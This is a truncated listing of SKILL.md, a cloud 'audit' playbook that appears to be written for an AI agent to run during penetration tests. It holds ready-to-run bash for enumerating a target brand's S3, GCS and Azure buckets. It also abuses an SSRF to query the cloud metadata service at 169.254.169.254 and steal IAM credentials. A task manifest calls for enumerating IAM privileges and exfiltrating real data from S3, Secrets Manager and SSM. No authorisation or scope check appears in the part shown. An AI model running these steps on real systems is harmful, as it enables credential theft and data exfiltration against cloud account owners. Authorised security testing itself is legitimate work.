cloud-audit

Files (1)

• SKILL.md

SKILL.md (first lines)

# Cloud Infrastructure Audit Playbook

## Philosophy
Cloud misconfigs are the highest-signal, lowest-effort findings in modern pentests.
One SSRF to 169.254.169.254 = IAM creds = all S3 = all Secrets Manager = game over.
Never claim "cloud compromise" without demonstrating actual data access with real credentials.

## Arguments
`<target>` - domain or AWS account ID
`<focus>` - optional: AWS / GCP / AZURE / K8S / FULL

---

## Phase 0: Smart Intake

```bash
source ~/.claude/skills/_shared/phase0.sh
source ~/.claude/skills/_shared/signals.sh

p0_init_vars "$1"
p0_state_gate "HARVEST" || exit 0
p0_read_relay recon secrets exploit
p0_read_memory
p0_read_hypotheses

AWS_KEYS=$AWS_KEYS_FOUND  # alias to match downstream references

echo "=== PHASE 0 CLOUD-AUDIT INTAKE: $TARGET ==="
echo "State: $STATE"
echo "AWS keys found: $AWS_KEYS | SSRF vectors: $(echo "$SSRF_VECTORS" | wc -l)"
echo "AWS/GCP/Azure hints: $AWS_HINT/$GCP_HINT/$AZURE_HINT"
echo "ATW flagged (avoid): ${ATW_FLAGGED:-none}"
```

### Execution Manifest

```bash
# Manifest is dynamic: only include phases for confirmed cloud providers
# MUST items = confirmed via prior intel. SHOULD = hinted. IF_TIME = speculative.

MANIFEST=$(cat << 'MANIFEST_EOF'
{
  "phase": "cloud-audit",
  "generated_at": "YYYY-MM-DD HH:MM",
  "items": [
    {"id":"c01","tool":"cloud-footprint-discovery","target":"<target>","reason":"identify cloud provider from DNS/headers","priority":"MUST","status":"pending","skip_reason":null},
    {"id":"c02","tool":"s3-bucket-enum","target":"<target-brand>","reason":"find exposed S3/GCS/Azure blob buckets","priority":"MUST","status":"pending","skip_reason":null},
    {"id":"c03","tool":"imds-ssrf","target":"<ssrf-endpoint-from-exploit-relay>","reason":"SSRF->IMDS credential theft if SSRF_VECTORS found","priority":"MUST","status":"pending","skip_reason":"set to skipped if no SSRF_VECTORS"},
    {"id":"c04","tool":"aws-iam-enum","target":"credentials from SSRF or secrets","reason":"enumerate IAM permissions, privesc paths","priority":"MUST","status":"pending","skip_reason":"set to skipped if no AWS credentials"},
    {"id":"c05","tool":"aws-data-exfil","target":"S3/SecretsManager/SSM/Lambda","reason":"extract actual sensitive data to prove impact","priority":"MUST","status":"pending","skip_reason":null},
    {"id":"c06","tool":"gcp-metadata-enum","target":"<ssrf-endpoint>","reason":"GCP SA token via metadata if GCP_HINT=true","priority":"SHOULD","status":"pending","skip_reason":"skip if GCP_HINT=false"},
    {"id":"c07","tool":"azure-imds","target":"<ssrf-endpoint>","reason":"Azure managed identity token if AZURE_HINT=true","priority":"SHOULD","status":"pending","skip_reason":"skip if AZURE_HINT=false"},
    {"id":"c08","tool":"k8s-api-probe","target":"<live-hosts>:6443","reason":"exposed K8s API server","priority":"IF_TIME","status":"pending","skip_reason":null},
    {"id":"c09","tool":"cloud-misconfiguration-checklist","target":"<account>","reason":"IAM wildcard, SGgroups, CloudTrail disabled","priority":"SHOULD","status":"pending","skip_reason":null}
  ]
}
MANIFEST_EOF
)

jq --argjson m "$MANIFEST" '.scalpel.active_manifest = $m' $SESSION > /tmp/s.json && mv /tmp/s.json $SESSION
```

**Manifest adjustment rules:**
- If `AWS_KEYS=false` AND `SSRF_VECTORS` empty: mark c03, c04 as `skipped` ("no SSRF or keys to work with")
- If `GCP_HINT=false`: mark c06 as `skipped`
- If `AZURE_HINT=false`: mark c07 as `skipped`
- If `STATE=DEEP`: mark c08 as `skipped`

---

## Phase 1 - Pre-Engagement: Discover Cloud Footprint

```bash
# Identify cloud provider from infrastructure:
dig <target> +short | head -5
# *.amazonaws.com, *.cloudfront.net = AWS
# *.googleusercontent.com, *.appspot.com = GCP
# *.azurewebsites.net, *.blob.core.windows.net = Azure

# Check HTTP response headers:
curl -sI https://<target> | grep -i "server\|via\|x-amz\|x-goog\|x-ms-"

# S3 bucket discovery (from any prior recon intel):
cat ~/pentest-toolkit/results/<target>/interesting_recon.md 2>/dev/null | grep -i "s3\|bucket\|storage\|blob"

# Enumerate S3 buckets by brand name:
BRAND="<target-brand>"
for name in ${BRAND} ${BRAND}-prod ${BRAND}-dev ${BRAND}-static ${BRAND}-media \
            ${BRAND}-backup ${BRAND}-logs ${BRAND}-assets ${BRAND}-data ${BRAND}-uploads \
            ${BRAND}-internal ${BRAND}-staging ${BRAND}-cdn ${BRAND}-files; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://${name}.s3.amazonaws.com/")
  [[ "$status" != "404" ]] && echo "FOUND: ${name} -> HTTP $status"
done

# GCS bucket enumeration:
for name in ${BRAND} ${BRAND}-prod ${BRAND}-static ${BRAND}-cdn ${BRAND}-backup; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/${name}/")
  [[ "$status" != "404" ]] && echo "FOUND GCS: ${name} -> HTTP $status"
done

# Azure Blob Storage:
for name in ${BRAND} ${BRAND}prod ${BRAND}static ${BRAND}backup; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://${name}.blob.core.windows.net/${name}/")
  [[ "$status" != "404" ]] && echo "FOUND Azure: ${name} -> HTTP $status"
done
```

---

## Phase 2 - AWS: Metadata Service Exploitation (via SSRF)

**If you found SSRF in the app, this is the highest-value escalation:**

```bash
# AWS EC2 metadata (IMDSv1 - no auth required):
SSRF_ENDPOINT="https://<target>/fetch?url="

# Step 1: Confirm SSRF + metadata access
curl "${SSRF_ENDPOINT}http://169.254.169.254/latest/meta-data/"

From kalpmodi/akira, MIT.

More from kalpmodi/akira